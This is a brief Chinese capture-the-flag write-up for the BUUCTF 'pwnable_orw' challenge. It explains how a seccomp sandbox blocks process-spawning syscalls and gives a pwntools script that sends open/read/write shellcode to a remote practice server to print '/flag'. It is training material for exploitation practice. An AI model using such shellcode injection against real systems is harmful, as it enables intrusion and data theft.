[BUUCTF-pwn]——pwnable_orw （ORW）

[BUUCTF-pwn]——pwnable_orw

第一次碰到orw的问题，所谓orw就是指你的系统调用被禁止了，不能通过子进程去获得权限和flag，只能在该进程通过 open , read ,write来得到flag

这个时候可以通过seccomptools，来查看

注意看到prctl就是将系统调用给你禁止了

exploit

from pwn import *
context.arch = 'i386'
p = remote('node3.buuoj.cn',28626)
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
payload = asm(shellcode)
p.send(payload)
p.interactive()